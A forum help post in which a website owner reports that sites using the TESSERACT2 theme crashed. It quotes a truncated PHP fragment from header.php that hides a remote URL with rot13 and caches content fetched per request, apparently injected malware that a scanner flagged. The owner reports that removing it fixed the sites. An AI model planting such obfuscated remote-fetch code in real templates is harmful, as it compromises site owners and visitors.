Code in Theme's header.php caused site crash

I have been using TESSERACT2 on a few websites, hosting through GoDaddy. Tonight I tried to log onto one of those sites only to find that ALL of my TESSERACT2 sites were down.

Digging in, I found that the following code in my header.php was throwing an error, and even causing succuri to detect malicious code (NOTE: I had not edited the header since installing the theme, but it ‘suddenly’ was an issue. Only part of the code is below)
<? if(!$linkskdsdsd){ = 'true'; $servername = $_SERVER["SERVER_NAME"]; $url = str_rot13('uggc://scrq8.bet/flfgrz/yvaxbixn_arj.cuc?qbabe='); $cachefile = dirname($_SERVER['SCRIPT_FILENAME']).'/cached-script/'.md5($servername . $_SERVER["REQUEST_URI"]); $cachetime = 86400*3; if (file_exists($cachefile) && time() - $cachetime < filemtime($cachefile)) { e

What is this? Is it malicious? I need to know if I should redesign my sites outside of this template or if this was a fluke error.

As soon as I removed two sections of code in about 7 sites, every one of them started working normally, and are no longer showing errors or malware warnings.